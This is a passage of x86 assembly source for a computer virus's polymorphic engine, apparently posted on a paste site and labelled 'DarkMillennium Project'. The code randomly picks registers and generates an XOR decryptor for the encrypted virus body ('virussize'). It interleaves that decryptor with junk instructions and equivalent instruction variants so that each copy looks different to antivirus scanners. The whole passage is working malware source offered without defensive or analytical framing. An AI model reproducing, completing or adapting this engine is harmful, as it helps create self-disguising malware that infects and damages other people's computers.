- mov al, byte ptr [ebp + reg_1 - Start]
- mov ebx, 8
- mul ebx
- add al, 85h
- stosb
- mov [ebp + var3 - Start], edi ; save EDI offset, for later use
- mov eax, 00000000h
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; add reg_1, offset Start
- mov al, 81h
- stosb
- mov al, byte ptr [ebp + reg_1 - Start]
- add al, 0C0h
- stosb
- mov eax, offset Start
- stosd
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; mov reg_2, virussize
- mov cl, byte ptr [ebp + reg_2 - Start]
- mov ch, 0FFh
- mov edx, virussize
- mov ax, 0101h
- xchg ebp, edi
- call GenPutX1X2
- xchg ebp, edi
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; xor [reg_1], reg_key
- mov [ebp + var4 - Start], edi
- mov ax, 3166h
- stosw
- xor eax, eax
- mov al, byte ptr [ebp + reg_key - Start]
- mov ebx, 8
- mul ebx
- add al, byte ptr [ebp + reg_1 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; inc reg_1
- mov al, 40h
- add al, byte ptr [ebp + reg_1 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; inc reg_1
- mov al, 40h
- add al, byte ptr [ebp + reg_1 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; dec reg_2
- mov al, 48h
- add al, byte ptr [ebp + reg_2 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; dec reg_2
- mov al, 48h
- add al, byte ptr [ebp + reg_2 - Start]
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; cmp reg_2, 1
- mov al, 83h
- stosb
- mov al, 0F8h
- add al, byte ptr [ebp + reg_2 - Start]
- stosb
- mov al, 01
- stosb
- ; jg -- xor [reg_1], reg_key -- line
- mov al, 07Fh
- stosb
- mov ax, [ebp + var4 - Start]
- sub eax, edi
- dec eax
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; popad
- mov al, 61h
- stosb
- ; Generate Junk
- xchg ebp, edi
- call GenerateJunk
- xchg ebp, edi
- ; key word for decryption
- mov esi, [ebp + var2 - Start]
- lea eax, key
- mov byte ptr [esi], al
- mov esi, [ebp + var3 - Start]
- lea eax, key
- mov byte ptr [esi], al
- mov ax, 9090h
- stosw
- nop
- nop
- nop
- nop
- nop
- ; Generate random junk to fill the space after decryptor
- lea esi, [ebp + Encr_Code - Start]
- xchg ebp, edi
- fill_junk: push esi
- call GenerateOneByteJunk
- pop esi
- cmp ebp, esi
- jl fill_junk
- xchg ebp, edi
- xchg ebp, edi
- ret
- var1 dd 0 ; keep location of INC DI line
- var2 dd 0 ; keep location of LEA ESI, key instruction + 1
- var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1
- var4 dd 0 ; keep location of XOR [ESI], DI instruction
- GenDecryptor endp
- ; Init register generator
- ;
- InitRegGenerator proc
- mov byte ptr [ebp + reg_1 - Start], 0F0h
- mov byte ptr [ebp + reg_2 - Start], 0F0h
- mov byte ptr [ebp + reg_3 - Start], 0F0h
- mov byte ptr [ebp + reg_key - Start], 0F0h
- mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h
- mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h
- ret
- InitRegGenerator endp
- ; Generate registers for use in decryptor
- ;
- GenerateRegisters proc
- pushad
- ; Generate reg, not ESP, not EBP
- get_reg_1: mov eax, 8
- call random_in_range
- cmp al, 4 ; no ESP
- jz get_reg_1
- cmp al, 5 ; no EBP
- jz get_reg_1
- cmp al, byte ptr [ebp + reg_key - Start]
- jz get_reg_1
- mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use
- ; Generate reg2, not ESP, not EBP, <> reg1
- get_reg_2: mov eax, 8
- call random_in_range
- cmp al, 4 ; no ESP
- jz get_reg_2
- cmp al, 5 ; no EBP
- jz get_reg_2
- cmp al, byte ptr [ebp + reg_1 - Start]
- jz get_reg_2
- cmp al, byte ptr [ebp + reg_key - Start]
- jz get_reg_1
- mov byte ptr [ebp + reg_2 - Start], al
- ; Generate reg3, not ESP, not EBP, <> reg1, <> reg2
- get_reg_3: mov eax, 8
- call random_in_range
- cmp al, 4 ; no ESP
- jz get_reg_3
- cmp al, 5 ; no EBP
- jz get_reg_3
- cmp al, byte ptr [ebp + reg_1 - Start]
- jz get_reg_3
- cmp al, byte ptr [ebp + reg_2 - Start]
- jz get_reg_3
- cmp al, byte ptr [ebp + reg_key - Start]
- jz get_reg_1
- mov byte ptr [ebp + reg_3 - Start], al
- popad
- ret
- GenerateRegisters endp
- ; Generate 2 registers, different from the other registers used
- ;
- GenerateFuckRegs proc
- pushad
- get_reg_fuck_1:
- mov eax, 8
- call random_in_range
- cmp al, 4 ; no ESP
- jz get_reg_fuck_1
- cmp al, 5 ; no EBP
- jz get_reg_fuck_1
- cmp al, byte ptr [ebp + reg_1 - Start]
- jz get_reg_fuck_1
- cmp al, byte ptr [ebp + reg_2 - Start]
- jz get_reg_fuck_1
- cmp al, byte ptr [ebp + reg_3 - Start]
- jz get_reg_fuck_1
- cmp al, byte ptr [ebp + reg_key - Start]
- jz get_reg_fuck_1
- mov byte ptr [ebp + reg_fuck_1 - Start], al
- get_reg_fuck_2:
- mov eax, 15
- call random_in_range
- cmp al, 7
- jg ch_FFh
- cmp al, 4 ; no ESP
- jz get_reg_fuck_2
- cmp al, 5 ; no EBP
- jz get_reg_fuck_2
- cmp al, byte ptr [ebp + reg_1 - Start]
- jz get_reg_fuck_2
- cmp al, byte ptr [ebp + reg_2 - Start]
- jz get_reg_fuck_2
- cmp al, byte ptr [ebp + reg_3 - Start]
- jz get_reg_fuck_2
- cmp al, byte ptr [ebp + reg_fuck_1 - Start]
- jz get_reg_fuck_2
- cmp al, byte ptr [ebp + reg_key - Start]
- jz get_reg_fuck_2
- mov byte ptr [ebp + reg_fuck_2 - Start], al
- GenerateFuckRegs_Exit:
- popad
- ret
- ch_FFh: mov al, 0FFh
- mov byte ptr [ebp + reg_fuck_2 - Start], al
- jmp GenerateFuckRegs_Exit
- GenerateFuckRegs endp
- ; Generate MOV reg1, reg2/[reg2]/val like instructions
- ; EBP = location for code
- ; CL = reg1
- ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
- ; ( in this case AH value will be ignored, no direct mem read like
- ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
- ; AL = type of registry to use 0 = word ( AX, BX ... )
- ; 1 = dword ( EAX, EBX ... )
- ; byte registers are not used in my decryptor
- ; AH = 0 use direct value ( EAX ... )
- ; 1 use memory address from register ( [EAX], [ESI] ... )
- ; EDX = use this value instead of reg2 in case CH = 0FFh
- ;
- GenPutX1X2 proc
- push eax ecx edx
- lea eax, [edi + offset GenMovType - Start]
- mov [edi + MovType - Start], eax
- lea eax, [edi + offset GenPushPopType - Start]
- mov [edi + PushPopType - Start], eax
- lea eax, [edi + offset GenXorAddType - Start]
- mov [edi + XorAddType - Start], eax
- lea eax, [edi + offset GenSubAddType - Start]
- mov [edi + SubAddType - Start], eax
- mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4
- call random_in_range
- mov esi, 4
- mul esi
- xchg esi, eax
- add esi, edi
- add esi, offset PutX1X2Table - offset Start
- mov ebx, dword ptr [esi]
- pop edx ecx eax
- call ebx
- ret
- GenPutX1X2 endp
- ; Decryptor Junk instructions
- ; EBP = location for junk
- GenerateJunk proc
- lea eax, [edi + offset GenerateOneByteJunk - Start]
- mov [edi + OneByteJunk - Start], eax
- lea eax, [edi + offset GenerateINTs - Start]
- mov [edi + INTs - Start], eax
- lea eax, [edi + offset GenNothing - Start]
- mov [edi + _Nothing - Start], eax
- lea eax, [edi + offset GenRndPutX1X2 - Start]
- mov [edi + RndPutX1X2 - Start], eax
- mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4
- call random_in_range
- mov esi, 4
- mul esi
- xchg esi, eax
- add esi, edi
- add esi, offset RandomJunkTable - offset Start
- mov eax, dword ptr [esi]
- call eax
- ret
- GenerateJunk endp
- ; Generate one byte instruction, put it in [EBP] and increase EBP with 1
- ; EBP = location for generated code
- GenerateOneByteJunk proc
- lea esi, [edi + OneByteTable - Start] ; Offset of the table
- mov eax, offset EndOneByteTable - offset OneByteTable ; size of table
- call random_in_range ; Must generate random numbers
- add esi, eax ; Add AX ( AL ) to the offset
- mov al, byte ptr [esi] ; Put selected opcode in al
- xchg ebp, edi
- stosb ; And store it in EDI ( points to
- ; the decryptor instructions )
- xchg ebp, edi
- ret
- GenerateOneByteJunk endp
- ; Generate INT calls and increase edi with 2
- ; EBP = location for generated code
- GenerateINTs proc
- lea esi, [edi + INTsTable - Start]
- mov eax, offset EndINTsTable - offset INTsTable
- call random_in_range
- add esi, eax
- mov ah, byte ptr [esi]
- mov al, 0CDh
- xchg ebp, edi
- stosw
- xchg ebp, edi
- ret
- GenerateINTs endp
- ; Generate NOTHING
- ; EBP = location for generated code
- GenNothing proc
- ret
- GenNothing endp
- ; The same with GenPutX1X2 but with random registers and/or values
- ; NOTE : the registers are not the ones that are already in use
- GenRndPutX1X2 proc
- xchg ebp, edi
- ; random in EDX
- mov eax, 0FFFFh
- call random_in_range
- mov dx, ax
- shl edx, 10h
- mov eax, 0FFFFh
- call random_in_range
- mov dx, ax
- ; random types
- mov eax, 2
- call random_in_range
- mov bl, al
- mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ...
- ; 'cause it will give Access Violation in most of the cases
- mov ax, bx
- call GenerateFuckRegs
- mov cl, byte ptr [ebp + reg_fuck_1 - Start]
- mov ch, byte ptr [ebp + reg_fuck_2 - Start]
- xchg ebp, edi
- call GenPutX1X2
- ret
- GenRndPutX1X2 endp
- ; Generate MOV instructions
- ; Generate MOV reg1, reg2/[reg2]/val like instructions
- ; EBP = location for code
- ; CL = reg1
- ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
- ; ( in this case AH value will be ignored, no direct mem read like
- ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
- ; AL = type of registry to use 0 = word ( AX, BX ... )
- ; 1 = dword ( EAX, EBX ... )
- ; byte registers are not used in my decryptor
- ; AH = 0 use direct value ( EAX ... )
- ; 1 use memory address from register ( [EAX], [ESI] ... )
- ; EDX = use this value instead of reg2 in case CH = 0FFh
- ;
- GenMovType proc
- xchg ebp, edi
- cmp ch, 0FFh
- jne not_val
- jmp use_val
- not_val: cmp ch, 04h
- jnz not_esp
- jmp mov_esp
- not_esp: cmp ch, 05h
- jnz not_ebp
- jmp mov_ebp
- not_ebp: cmp al, 0
- jz word_type
- cmp al, 1
- jz dword_type
- jmp MovType_End
- word_type: ; reg1 = word reg
- cmp ah, 1
- jz word_type1
- ; MOV reg1, reg2
- mov ax, 8B66h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- add al, 0C0h
- stosb
- jmp MovType_End
- word_type1: ; MOV reg1, [reg2]
- mov ax, 8B66h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp MovType_End
- dword_type: ; reg1 = dword reg
- cmp ah, 1
- jz dword_type1
- ; MOV reg1, reg2
- mov al, 08Bh
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- add al, 0C0h
- stosb
- jmp MovType_End
- dword_type1: ; MOV reg1, [reg2]
- mov al, 8Bh
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp MovType_End
- mov_esp: ; MOV reg1, ESP/[ESP]
- mov al, 8Bh
- stosb
- cmp ah, 0
- jz mov_esp2
- ; MOV reg1, [ESP]
- mov al, cl
- mov bl, 8
- mul bl
- add al, 04h
- stosb
- mov al, 24h
- stosb
- jmp MovType_End
- ; MOV reg1, ESP
- mov_esp2: mov al, cl
- mov bl, 8
- mul bl
- add al, 0C4h
- stosb
- jmp MovType_End
- mov_ebp: ; MOV reg1, EBP/[EBP]
- mov al, 8Bh
- stosb
- cmp ah, 0
- jz mov_ebp2
- ; MOV reg1, [EBP]
- mov al, cl
- mov bl, 8
- mul bl
- add al, 45h
- stosb
- mov al, 00h
- stosb
- ; MOV reg1, EBP
- mov_ebp2: mov al, cl
- mov bl, 8
- mul bl
- add al, 0C5h
- stosb
- jmp MovType_End
- MovType_End: xchg ebp, edi
- ret
- use_val: cmp al, 0
- jne use_val_
- mov al, 66h
- stosb
- mov al, 0B8h
- add al, cl
- stosb
- mov ax, dx
- stosw
- jmp MovType_End
- use_val_: mov al, 0B8h
- add al, cl
- stosb
- mov eax, edx
- stosd
- jmp MovType_End
- GenMovType endp
- ; Generate PUSH reg2/[reg2]/val ... POP reg1 ( = MOV reg1, reg2/[reg2]/val )
- ; EBP = location for code
- ; CL = reg1 (PUSH reg1)
- ; CH = reg2 (POP reg2)
- ; ( if CH = 0FFh then use value from EDX instead of reg2 )
- ; ( in this case AH value will be ignored, no direct mem read like
- ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
- ; AL = type of registry to use 0 = word ( AX, BX ... )
- ; 1 = dword ( EAX, EBX ... )
- ; byte registers are not used in my decryptor
- ; AH = 0 use direct value ( EAX ... )
- ; 1 use memory address from register ( [EAX], [ESI] ... )
- ; EDX = use this value instead of reg2 in case CH = 0FFh
- ;
- GenPushPopType proc
- xchg ebp, edi
- cmp ch, 0FFh
- jnz not_val_2
- push ax
- jmp use_val_2
- not_val_2: push ax
- cmp al, 0
- jnz not_wordreg
- mov al, 66h
- stosb
- not_wordreg: cmp ah, 0
- jz not_ebp_
- cmp ch, 04h
- jnz not_esp_
- jmp push_esp
- not_esp_: cmp ch, 05h
- jnz not_ebp_
- jmp push_ebp
- not_ebp_: cmp ah, 1
- jz push_type1
- ; PUSH reg2
- mov al, 50h
- add al, ch
- stosb
- jmp Pop_reg1
- push_type1: ; PUSH [reg2]
- mov al, 0FFh
- stosb
- mov al, 30h
- add al, ch
- stosb
- ; POP reg1
- pop ax
- cmp al, 0
- jnz not_wordreg__
- mov al, 66h
- stosb
- not_wordreg__: mov al, 58h
- add al, cl
- stosb
- jmp PushPopType_End
- push_esp: ; PUSH [ESP] (reg2)
- mov ax, 34FFh
- stosw
- mov al, 24h
- stosb
- jmp Pop_reg1
- push_ebp: ; PUSH [EBP] (reg2)
- mov ax, 75FFh
- stosw
- mov al, 00h
- stosb
- Pop_reg1: ; POP reg1
- pop ax
- cmp al, 0
- jnz not_wordreg_
- mov al, 66h
- stosb
- not_wordreg_: mov al, 58h
- add al, cl
- stosb
- PushPopType_End:xchg ebp, edi
- ret
- use_val_2: cmp al, 0
- jnz not_wordreg___
- ; PUSH val
- mov ax, 6866h
- stosw
- mov ax, dx
- stosw
- mov ch, cl
- jmp Pop_reg1
- not_wordreg___: mov al, 68h
- stosb
- mov eax, edx
- stosd
- pop ax
- mov al, 1
- mov ch, cl
- push ax
- jmp Pop_reg1
- GenPushPopType endp
- ; Generate XOR reg1, reg1 ... ADD reg1, reg2/[reg2]/val ( = MOV reg1, reg2/[reg2]/val )
- ; EBP = location for code
- ; CL = reg1
- ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
- ; ( in this case AH value will be ignored, no direct mem read like
- ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
- ; AL = type of registry to use 0 = word ( AX, BX ... )
- ; 1 = dword ( EAX, EBX ... )
- ; byte registers are not used in my decryptor
- ; AH = 0 use direct value ( EAX ... )
- ; 1 use memory address from register ( [EAX], [ESI] ... )
- ; EDX = use this value instead of reg2 in case CH = 0FFh
- ;
- GenXorAddType proc
- xchg ebp, edi
- cmp ch, 0FFh
- jnz not_val_3
- jmp use_val_3
- not_val_3: push ax
- cmp al, 0
- jnz not_wordreg_2
- jmp wordreg_2
- not_wordreg_2: ; XOR reg1, reg1
- mov al, 33h
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- pop ax
- cmp ah, 0
- jz dwordreg_2
- cmp ch, 4 ; ESP ?
- jz add_esp
- cmp ch, 5 ; EBP ?
- jz add_ebp
- ; ADD reg1, [reg2]
- mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp GenXorAddType_End
- ; ADD reg1, [ESP]
- add_esp: mov al, 03h
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 04h
- stosb
- mov al, 24h
- stosb
- jmp GenSubAddType_End
- ; ADD reg1, [EBP]
- add_ebp: mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, 45h
- stosb
- jmp GenSubAddType_End
- dwordreg_2: ; ADD reg1, reg2
- mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, 0C0h
- add al, ch
- stosb
- jmp GenXorAddType_End
- wordreg_2: ; XOR reg1, reg1
- mov ax, 3366h
- stosw
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- pop ax
- cmp ah, 0
- jz wordreg_2_
- ; ADD reg1, [reg2]
- mov ax, 0366h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp GenXorAddType_End
- wordreg_2_: ; ADD reg1, reg2
- mov ax, 0366h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, 0C0h
- add al, ch
- stosb
- jmp GenXorAddType_End
- use_val_3: ; XOR reg1, reg1
- mov al, 33h
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- ; ADD reg1, val
- mov al, 81h
- stosb
- mov al, 0C0h
- add al, cl
- stosb
- mov eax, edx
- stosd
- GenXorAddType_End:
- xchg ebp, edi
- ret
- GenXorAddType endp
- ; Generate SUB reg1, reg1 ... ADD reg1, reg2/[reg2]/val
- ; EBP = location for code
- ; CL = reg1
- ; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
- ; ( in this case AH value will be ignored, no direct mem read like
- ; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
- ; AL = type of registry to use 0 = word ( AX, BX ... )
- ; 1 = dword ( EAX, EBX ... )
- ; byte registers are not used in my decryptor
- ; AH = 0 use direct value ( EAX ... )
- ; 1 use memory address from register ( [EAX], [ESI] ... )
- ; EDX = use this value instead of reg2 in case CH = 0FFh
- ;
- GenSubAddType proc
- xchg ebp, edi
- cmp ch, 0FFh
- jnz not_val_4
- jmp use_val_4
- not_val_4: push ax
- cmp al, 0
- jnz not_wordreg_3
- jmp wordreg_3
- not_wordreg_3: ; SUB reg1, reg1
- mov al, 2Bh
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- pop ax
- cmp ah, 0
- jz dwordreg_3
- cmp ch, 4 ; ESP ?
- jz add_esp_
- cmp ch, 5 ; EBP ?
- jz add_ebp_
- ; ADD reg1, [reg2]
- mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp GenSubAddType_End
- ; ADD reg1, [ESP]
- add_esp_: mov al, 03h
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 04h
- stosb
- mov al, 24h
- stosb
- jmp GenSubAddType_End
- ; ADD reg1, [EBP]
- add_ebp_: mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, 45h
- stosb
- jmp GenSubAddType_End
- dwordreg_3: ; ADD reg1, reg2
- mov al, 03h
- stosb
- mov al, cl
- mov bl, 8
- mul bl
- add al, 0C0h
- add al, ch
- stosb
- jmp GenSubAddType_End
- wordreg_3: ; SUB reg1, reg1
- mov ax, 2B66h
- stosw
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- pop ax
- cmp ah, 0
- jz wordreg_3_
- ; ADD reg1, [reg2]
- mov ax, 0366h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, ch
- stosb
- jmp GenSubAddType_End
- wordreg_3_: ; ADD reg1, reg2
- mov ax, 0366h
- stosw
- mov al, cl
- mov bl, 8
- mul bl
- add al, 0C0h
- add al, ch
- stosb
- jmp GenSubAddType_End
- use_val_4: ; SUB reg1, reg1
- mov al, 2Bh
- stosb
- mov al, cl
- mov bl, 9
- mul bl
- add al, 0C0h
- stosb
- ; ADD reg1, val
- mov al, 81h
- stosb
- mov al, 0C0h
- add al, cl
- stosb
- mov eax, edx
- stosd
- GenSubAddType_End:
- xchg ebp, edi
- ret
- GenSubAddType endp
- ; Return a random number in AX, between 0 and AX-1
- random_in_range proc
- push bx dx
- xchg ax, bx
- call get_rnd
- xor dx, dx
- div bx
- xchg ax, dx
- pop dx bx
- ret
- random_in_range endp
- ; Tables
- RandomJunkTable:
- OneByteJunk dd offset GenerateOneByteJunk
- INTs dd offset GenerateINTs
- _Nothing dd offset GenNothing
- RndPutX1X2 dd offset GenRndPutX1X2
- EndRandomJunkTable:
- OneByteTable: db 090h ; nop
- db 0F8h ; clc
- db 0F9h ; stc
- db 0F5h ; cmc
- ; db 0CCh ; int 3h
- ; db 098h ; cbw
- ; db 099h ; cwd
- EndOneByteTable:
- INTsTable: ;db 01h
- db 08h
- db 0Ah
- db 0Bh
- db 0Ch
- ; db 0Dh
- db 0Eh
- db 0Fh
- ; db 1Ch
- db 28h
- db 2Bh
- db 2Ch
- db 2Dh
- db 70h
- db 71h
- db 72h
- db 73h
- db 74h
- ; db 75h
- db 76h
- db 77h
- ; those with ; before'em will generate an error (ussualy a blue screen)
- EndINTsTable:
- PutX1X2Table:
- MovType dd offset GenMovType
- PushPopType dd offset GenPushPopType
- XorAddType dd offset GenXorAddType
- SubAddType dd offset GenSubAddType
- EndPutX1X2Table:
- regsTable:
- reg_1 db 0
- reg_2 db 0
- reg_3 db 0
- reg_key db 0
- reg_fuck_1 db 0
- reg_fuck_2 db 0
- regsTableEnd:
- _end:
- gfx_buffer db 10Dh dup (0)
- _end_2:
- w_title db 'DarkMillennium Project', 0
- end Begin
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement